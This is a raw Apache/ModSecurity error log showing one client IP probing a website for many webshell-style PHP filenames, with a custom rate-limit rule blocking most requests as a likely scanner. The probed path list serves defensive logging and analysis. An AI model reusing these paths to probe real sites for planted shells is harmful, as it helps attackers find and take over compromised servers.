[Sun Apr 19 22:49:47.133091 2026] [:error] [pid 47775:tid 47863] [client 20.203.188.128:42511] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "aeTri7mztjlk9tsmoewnIAAAAJQ"]
[Sun Apr 19 22:49:47.835950 2026] [:error] [pid 15693:tid 15711] [client 20.203.188.128:42756] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "aeTri8NMD-ccazQlTslj5QAAAU8"]
[Sun Apr 19 22:49:48.427975 2026] [:error] [pid 47773:tid 47836] [client 20.203.188.128:28322] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "aeTrjOiBHdnCJDuPq9BWcgAAAFQ"]
[Sun Apr 19 22:49:49.167385 2026] [:error] [pid 15760:tid 15787] [client 20.203.188.128:5021] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/900.php"] [unique_id "aeTrjfSdD_XHQMJ_IStefgAAAdM"]
[Sun Apr 19 22:49:49.802318 2026] [:error] [pid 15764:tid 15848] [client 20.203.188.128:42754] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/900.php"] [unique_id "aeTrjWLL_sqdSHoVp-Q5nwAAAlY"]
[Sun Apr 19 22:49:50.596032 2026] [:error] [pid 15694:tid 15723] [client 20.203.188.128:4562] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/900.php"] [unique_id "aeTrjrimB-jol1fwqAoYYAAAAYA"]
[Sun Apr 19 22:49:51.489944 2026] [:error] [pid 47775:tid 47849] [client 20.203.188.128:22982] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/900.php"] [unique_id "aeTrj7mztjlk9tsmoewnKwAAAIY"]
[Sun Apr 19 22:49:52.849946 2026] [:error] [pid 47773:tid 47829] [client 20.203.188.128:42762] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aeTrkOiBHdnCJDuPq9BWeAAAAE0"]
[Sun Apr 19 22:49:53.596890 2026] [:error] [pid 15765:tid 15865] [client 20.203.188.128:5022] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aeTrkfRqinw-W5EwQ74IDwAAAow"]
[Sun Apr 19 22:49:54.609950 2026] [:error] [pid 15760:tid 15776] [client 20.203.188.128:5036] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aeTrkvSdD_XHQMJ_ISteggAAAcg"]
[Sun Apr 19 22:49:55.316790 2026] [:error] [pid 15763:tid 15806] [client 20.203.188.128:42778] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aeTrk7MXv1Y1THOoxaASaAAAAgo"]
[Sun Apr 19 22:49:56.776487 2026] [:error] [pid 15760:tid 15769] [client 20.203.188.128:42509] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "aeTrlPSdD_XHQMJ_ISteiAAAAcE"]
[Sun Apr 19 22:49:57.496986 2026] [:error] [pid 15694:tid 15743] [client 20.203.188.128:22989] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "aeTrlbimB-jol1fwqAoYaQAAAZE"]
[Sun Apr 19 22:49:58.260962 2026] [:error] [pid 15760:tid 15770] [client 20.203.188.128:45270] File does not exist: /usr/local/apache/htdocs/suspended-page/term.php
[Sun Apr 19 22:49:58.686187 2026] [:error] [pid 15760:tid 15768] [client 20.203.188.128:45270] File does not exist: /usr/local/apache/htdocs/suspended-page/b.php
[Sun Apr 19 22:49:58.929796 2026] [:error] [pid 15760:tid 15776] [client 20.203.188.128:45270] File does not exist: /usr/local/apache/htdocs/suspended-page/sid3.php
[Sun Apr 19 22:49:59.270966 2026] [:error] [pid 15760:tid 15780] [client 20.203.188.128:45270] File does not exist: /usr/local/apache/htdocs/suspended-page/ccs.php
[Sun Apr 19 22:49:59.514394 2026] [:error] [pid 15760:tid 15788] [client 20.203.188.128:45270] File does not exist: /usr/local/apache/htdocs/suspended-page/aboutc.php
[Sun Apr 19 22:49:59.754335 2026] [:error] [pid 15760:tid 15775] [client 20.203.188.128:45270] File does not exist: /usr/local/apache/htdocs/suspended-page/fs.php
[Sun Apr 19 22:49:59.994510 2026] [:error] [pid 15760:tid 15778] [client 20.203.188.128:45270] File does not exist: /usr/local/apache/htdocs/suspended-page/ws82.php
[Sun Apr 19 22:50:00.487372 2026] [:error] [pid 15760:tid 15769] [client 20.203.188.128:45270] File does not exist: /usr/local/apache/htdocs/suspended-page/ws48.php
[Sun Apr 19 22:50:01.023040 2026] [:error] [pid 15760:tid 15768] [client 20.203.188.128:45270] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-the.php
[Sun Apr 19 22:50:01.379034 2026] [:error] [pid 15760:tid 15792] [client 20.203.188.128:45270] File does not exist: /usr/local/apache/htdocs/suspended-page/wp5.php
[Sun Apr 19 22:50:01.673064 2026] [:error] [pid 15760:tid 15791] [client 20.203.188.128:45270] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "aeTrmfSdD_XHQMJ_ISteogAAAdc"]
[Sun Apr 19 22:50:02.569828 2026] [:error] [pid 15760:tid 15789] [client 20.203.188.128:45306] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "aeTrmvSdD_XHQMJ_IStepgAAAdU"]
[Sun Apr 19 22:50:03.343494 2026] [:error] [pid 15760:tid 15783] [client 20.203.188.128:42833] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "aeTrm_SdD_XHQMJ_ISterAAAAc8"]
[Sun Apr 19 22:50:04.250044 2026] [:error] [pid 15764:tid 15847] [client 20.203.188.128:45282] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "aeTrnGLL_sqdSHoVp-Q5qwAAAlU"]
[Sun Apr 19 22:50:05.055995 2026] [:error] [pid 15763:tid 15810] [client 20.203.188.128:26467] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "aeTrnbMXv1Y1THOoxaASdAAAAg4"]
[Sun Apr 19 22:50:06.112838 2026] [:error] [pid 47775:tid 47866] [client 20.203.188.128:42531] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "aeTrnrmztjlk9tsmoewnMAAAAJc"]
[Sun Apr 19 22:50:07.534570 2026] [:error] [pid 15763:tid 15802] [client 20.203.188.128:4580] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "aeTrn7MXv1Y1THOoxaASeQAAAgY"]
[Sun Apr 19 22:50:08.841922 2026] [:error] [pid 15764:tid 15834] [client 20.203.188.128:35219] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "aeTroGLL_sqdSHoVp-Q5tAAAAkg"]
[Sun Apr 19 22:50:15.359276 2026] [:error] [pid 47772:tid 47805] [client 20.203.188.128:42868] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bnm.php"] [unique_id "aeTrp4c0L16cb4smAz_ZzgAAABA"]
[Sun Apr 19 22:50:16.212420 2026] [:error] [pid 15693:tid 15718] [client 20.203.188.128:23037] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bnm.php"] [unique_id "aeTrqMNMD-ccazQlTslj9wAAAVY"]
[Sun Apr 19 22:50:17.066568 2026] [:error] [pid 47775:tid 47867] [client 20.203.188.128:26097] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bnm.php"] [unique_id "aeTrqbmztjlk9tsmoewnOAAAAJg"]
[Sun Apr 19 22:50:17.739517 2026] [:error] [pid 47772:tid 47789] [client 20.203.188.128:38960] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bnm.php"] [unique_id "aeTrqYc0L16cb4smAz_Z0QAAAAA"]
[Sun Apr 19 22:50:18.551137 2026] [:error] [pid 15760:tid 15790] [client 20.203.188.128:28325] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeTrqvSdD_XHQMJ_IStezwAAAdY"]
[Sun Apr 19 22:50:19.330410 2026] [:error] [pid 47775:tid 47861] [client 20.203.188.128:42543] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeTrq7mztjlk9tsmoewnOgAAAJI"]
[Sun Apr 19 22:50:20.039971 2026] [:error] [pid 47775:tid 47856] [client 20.203.188.128:38936] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeTrrLmztjlk9tsmoewnOwAAAI0"]
[Sun Apr 19 22:50:20.876754 2026] [:error] [pid 15760:tid 15770] [client 20.203.188.128:42845] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeTrrPSdD_XHQMJ_ISte1gAAAcI"]
[Sun Apr 19 22:50:22.070186 2026] [:error] [pid 15693:tid 15707] [client 20.203.188.128:42546] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "aeTrrsNMD-ccazQlTslj-gAAAUs"]
[Sun Apr 19 22:50:23.029573 2026] [:error] [pid 15693:tid 15704] [client 20.203.188.128:42536] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "aeTrr8NMD-ccazQlTslj_wAAAUg"]
[Sun Apr 19 22:50:23.902963 2026] [:error] [pid 15760:tid 15781] [client 20.203.188.128:38944] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "aeTrr_SdD_XHQMJ_ISte4AAAAc0"]
[Sun Apr 19 22:50:24.521061 2026] [:error] [pid 15693:tid 15696] [client 20.203.188.128:4585] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "aeTrsMNMD-ccazQlTslkAQAAAUA"]
[Sun Apr 19 22:50:25.411973 2026] [:error] [pid 15763:tid 15814] [client 20.203.188.128:42851] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aeTrsbMXv1Y1THOoxaASrQAAAhI"]
[Sun Apr 19 22:50:26.146687 2026] [:error] [pid 15760:tid 15777] [client 20.203.188.128:22990] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aeTrsvSdD_XHQMJ_ISte5wAAAck"]
[Sun Apr 19 22:50:27.269013 2026] [:error] [pid 47772:tid 47805] [client 20.203.188.128:38952] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aeTrs4c0L16cb4smAz_Z2gAAABA"]
[Sun Apr 19 22:50:28.207942 2026] [:error] [pid 47772:tid 47809] [client 20.203.188.128:35207] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aeTrtIc0L16cb4smAz_Z3gAAABQ"]
[Sun Apr 19 22:50:29.253559 2026] [:error] [pid 15763:tid 15800] [client 20.203.188.128:4593] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/grsiuk.php"] [unique_id "aeTrtbMXv1Y1THOoxaASsgAAAgQ"]
[Sun Apr 19 22:50:30.844747 2026] [:error] [pid 15760:tid 15789] [client 20.203.188.128:42517] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/grsiuk.php"] [unique_id "aeTrtvSdD_XHQMJ_ISte8gAAAdU"]
[Sun Apr 19 22:50:32.941131 2026] [:error] [pid 15764:tid 15850] [client 20.203.188.128:42525] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/grsiuk.php"] [unique_id "aeTruGLL_sqdSHoVp-Q58QAAAlc"]
[Sun Apr 19 22:50:34.234609 2026] [:error] [pid 15760:tid 15773] [client 20.203.188.128:35200] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/grsiuk.php"] [unique_id "aeTruvSdD_XHQMJ_ISte_gAAAcU"]
[Sun Apr 19 22:50:35.907520 2026] [:error] [pid 47772:tid 47811] [client 20.203.188.128:37018] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "aeTru4c0L16cb4smAz_Z6QAAABY"]
[Sun Apr 19 22:50:37.117678 2026] [:error] [pid 15693:tid 15699] [client 20.203.188.128:4552] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "aeTrvcNMD-ccazQlTslkAwAAAUM"]
[Sun Apr 19 22:50:37.905594 2026] [:error] [pid 15760:tid 15780] [client 20.203.188.128:23010] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "aeTrvfSdD_XHQMJ_IStfGQAAAcw"]
[Sun Apr 19 22:50:38.725973 2026] [:error] [pid 15763:tid 15804] [client 20.203.188.128:22999] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "aeTrvrMXv1Y1THOoxaASxAAAAgg"]
[Sun Apr 19 22:50:39.906782 2026] [:error] [pid 15764:tid 15840] [client 20.203.188.128:42550] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "aeTrv2LL_sqdSHoVp-Q5_wAAAk4"]
[Sun Apr 19 22:50:40.939918 2026] [:error] [pid 47773:tid 47834] [client 20.203.188.128:22984] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "aeTrwOiBHdnCJDuPq9BWoAAAAFI"]
[Sun Apr 19 22:50:41.793048 2026] [:error] [pid 15760:tid 15771] [client 20.203.188.128:42530] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "aeTrwfSdD_XHQMJ_IStfIAAAAcM"]
[Sun Apr 19 22:50:42.828776 2026] [:error] [pid 15760:tid 15772] [client 20.203.188.128:28293] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "aeTrwvSdD_XHQMJ_IStfJQAAAcQ"]
[Sun Apr 19 22:50:43.572283 2026] [:error] [pid 15765:tid 15871] [client 20.203.188.128:28309] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "aeTrw_Rqinw-W5EwQ74IIAAAApI"]
[Sun Apr 19 22:50:44.932851 2026] [:error] [pid 15760:tid 15790] [client 20.203.188.128:24948] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "aeTrxPSdD_XHQMJ_IStfKQAAAdY"]
[Sun Apr 19 22:50:46.672909 2026] [:error] [pid 47772:tid 47803] [client 20.203.188.128:28317] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "aeTrxoc0L16cb4smAz_aAgAAAA4"]
